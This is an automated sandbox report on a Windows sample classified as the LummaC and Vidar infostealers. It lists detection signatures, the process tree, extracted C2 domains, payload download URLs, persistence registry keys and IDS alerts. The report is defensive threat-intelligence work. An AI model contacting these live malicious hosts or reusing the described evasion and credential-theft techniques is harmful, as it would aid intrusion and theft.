Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1518461
MD5:	77011ba24d1088a963898abc72c6e129
SHA1:	08a84da40cb625471026568b2399538399b44f98
SHA256:	3b914f143432c17ca607ba232ba0122f78096dc04dd7ce3d297ed0036f3b1545
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6616 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 77011BA24D1088A963898ABC72C6E129)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5464 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

AFIDGDBGCA.exe (PID: 1732 cmdline: "C:\ProgramData\AFIDGDBGCA.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

MFDBG.exe (PID: 5248 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

FDWDZ.exe (PID: 4352 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

BFIIEHJDBK.exe (PID: 4616 cmdline: "C:\ProgramData\BFIIEHJDBK.exe" MD5: 0CEE1D66332DEC523210F62E479284B9)

conhost.exe (PID: 5504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6324 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4824 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6508 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1712 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 5356 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4856 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

MFDBG.exe (PID: 2672 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

WerFault.exe (PID: 5040 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MFDBG.exe (PID: 5824 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

WerFault.exe (PID: 3840 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["gutterydhowi.shop", "drawzhotdog.shop", "ghostreedmnu.shop", "vozmeatillu.shop", "stogeneratmns.shop", "offensivedzvju.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "58cd250b15e666e5f72fcf5caa6cb131"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6616	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6616	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 5464	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5464	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 5464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5464	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.4295570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.4295570.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.4295570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.4295570.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe, EventID: 13, EventType: SetValue, Image: C:\ProgramData\AFIDGDBGCA.exe, ProcessId: 1732, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MFDBG_53e62ee1f55449c09d35238cb5fcef52

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe, EventID: 13, EventType: SetValue, Image: C:\ProgramData\AFIDGDBGCA.exe, ProcessId: 1732, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MFDBG_53e62ee1f55449c09d35238cb5fcef52

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\ProgramData\AFIDGDBGCA.exe, ProcessId: 1732, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:00:21.942764+0200	2028765	3	Unknown Traffic	192.168.2.5	49713	5.75.211.162	443	TCP
2024-09-25T18:00:24.052179+0200	2028765	3	Unknown Traffic	192.168.2.5	49714	5.75.211.162	443	TCP
2024-09-25T18:00:25.433826+0200	2028765	3	Unknown Traffic	192.168.2.5	49715	5.75.211.162	443	TCP
2024-09-25T18:00:26.849605+0200	2028765	3	Unknown Traffic	192.168.2.5	49716	5.75.211.162	443	TCP
2024-09-25T18:00:28.336941+0200	2028765	3	Unknown Traffic	192.168.2.5	49717	5.75.211.162	443	TCP
2024-09-25T18:00:29.777460+0200	2028765	3	Unknown Traffic	192.168.2.5	49718	5.75.211.162	443	TCP
2024-09-25T18:00:30.813337+0200	2028765	3	Unknown Traffic	192.168.2.5	49719	5.75.211.162	443	TCP
2024-09-25T18:00:34.436219+0200	2028765	3	Unknown Traffic	192.168.2.5	49720	5.75.211.162	443	TCP
2024-09-25T18:00:37.182964+0200	2028765	3	Unknown Traffic	192.168.2.5	49722	5.75.211.162	443	TCP
2024-09-25T18:00:37.183273+0200	2028765	3	Unknown Traffic	192.168.2.5	49721	5.75.211.162	443	TCP
2024-09-25T18:00:39.424817+0200	2028765	3	Unknown Traffic	192.168.2.5	49723	5.75.211.162	443	TCP
2024-09-25T18:00:41.186326+0200	2028765	3	Unknown Traffic	192.168.2.5	49724	5.75.211.162	443	TCP
2024-09-25T18:00:42.903452+0200	2028765	3	Unknown Traffic	192.168.2.5	49725	5.75.211.162	443	TCP
2024-09-25T18:00:44.528835+0200	2028765	3	Unknown Traffic	192.168.2.5	49726	5.75.211.162	443	TCP
2024-09-25T18:00:46.036135+0200	2028765	3	Unknown Traffic	192.168.2.5	49727	5.75.211.162	443	TCP
2024-09-25T18:00:47.282867+0200	2028765	3	Unknown Traffic	192.168.2.5	49728	5.75.211.162	443	TCP
2024-09-25T18:00:50.352397+0200	2028765	3	Unknown Traffic	192.168.2.5	49729	5.75.211.162	443	TCP
2024-09-25T18:00:51.661178+0200	2028765	3	Unknown Traffic	192.168.2.5	49730	5.75.211.162	443	TCP
2024-09-25T18:00:53.193246+0200	2028765	3	Unknown Traffic	192.168.2.5	49731	5.75.211.162	443	TCP
2024-09-25T18:00:54.594741+0200	2028765	3	Unknown Traffic	192.168.2.5	49732	5.75.211.162	443	TCP
2024-09-25T18:00:57.096377+0200	2028765	3	Unknown Traffic	192.168.2.5	49734	5.75.211.162	443	TCP
2024-09-25T18:00:59.078898+0200	2028765	3	Unknown Traffic	192.168.2.5	49735	5.75.211.162	443	TCP
2024-09-25T18:01:01.666832+0200	2028765	3	Unknown Traffic	192.168.2.5	49737	5.75.211.162	443	TCP
2024-09-25T18:01:05.149117+0200	2028765	3	Unknown Traffic	192.168.2.5	49739	5.75.211.162	443	TCP
2024-09-25T18:01:07.247467+0200	2028765	3	Unknown Traffic	192.168.2.5	49742	5.75.211.162	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:11.349452+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:12.639302+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T18:01:14.712857+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49748	188.114.96.3	443	TCP
2024-09-25T18:01:16.207817+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49749	188.114.96.3	443	TCP
2024-09-25T18:01:17.464083+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49750	188.114.97.3	443	TCP
2024-09-25T18:01:18.815663+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49751	172.67.162.108	443	TCP
2024-09-25T18:01:19.902878+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T18:01:21.317779+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49753	188.114.96.3	443	TCP
2024-09-25T18:01:22.631188+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49754	172.67.208.139	443	TCP
2024-09-25T18:01:25.975205+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49757	172.67.189.2	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:11.349452+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:12.639302+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T18:01:14.712857+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49748	188.114.96.3	443	TCP
2024-09-25T18:01:16.207817+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49749	188.114.96.3	443	TCP
2024-09-25T18:01:17.464083+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49750	188.114.97.3	443	TCP
2024-09-25T18:01:18.815663+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49751	172.67.162.108	443	TCP
2024-09-25T18:01:19.902878+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T18:01:21.317779+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49753	188.114.96.3	443	TCP
2024-09-25T18:01:22.631188+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49754	172.67.208.139	443	TCP
2024-09-25T18:01:25.975205+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49757	172.67.189.2	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:10.435607+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:18.128857+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.5	49751	172.67.162.108	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:19.465750+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.5	49752	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:14.046537+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.5	49748	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:12.124903+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.5	49747	172.67.132.32	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:15.526500+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.5	49749	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:22.131638+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.5	49754	172.67.208.139	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:20.726054+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.5	49753	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:16.985317+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.5	49750	188.114.97.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:30.557238+0200	2054495	1	A Network Trojan was detected	192.168.2.5	49745	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:09.925951+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.5	60755	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:18.952138+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.5	61898	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:12.729635+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.5	64788	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:11.566576+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.5	63091	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:14.967287+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.5	64089	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:21.617467+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.5	61600	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:20.016246+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.5	64263	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:16.402774+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.5	56030	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:00:27.677162+0200	2044247	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.5	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:00:29.036796+0200	2051831	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.5	49717	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:00:26.146499+0200	2049087	1	A Network Trojan was detected	192.168.2.5	49715	5.75.211.162	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T18:01:00.632887+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T18:01:03.258036+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49736	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: reinforcenh.shop	Avira URL Cloud: Label: malware
Source: https://fragnantbui.shop/apie	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	Avira URL Cloud: Label: malware
Source: stogeneratmns.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/badges	Avira URL Cloud: Label: malware
Source: https://performenj.shop:443/apirofiles/76561199724331900	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api	Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop	Avira URL Cloud: Label: malware
Source: https://performenj.shop/api2	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181	Avira URL Cloud: Label: malware
Source: https://performenj.shop/apipi	Avira URL Cloud: Label: malware
Source: https://t.me/ae5ed	Avira URL Cloud: Label: malware
Source: https://performenj.shop/	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api.	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api	Avira URL Cloud: Label: malware
Source: fragnantbui.shop	Avira URL Cloud: Label: malware
Source: offensivedzvju.shop	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api	Avira URL Cloud: Label: malware
Source: drawzhotdog.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	Avira URL Cloud: Label: malware
Source: https://performenj.shop/piz	Avira URL Cloud: Label: malware
Source: vozmeatillu.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG	Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api	Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "58cd250b15e666e5f72fcf5caa6cb131"}
Source: 15.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["gutterydhowi.shop", "drawzhotdog.shop", "ghostreedmnu.shop", "vozmeatillu.shop", "stogeneratmns.shop", "offensivedzvju.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\AFIDGDBGCA.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: reinforcenh.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: stogeneratmns.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: fragnantbui.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: drawzhotdog.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: vozmeatillu.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: offensivedzvju.shop
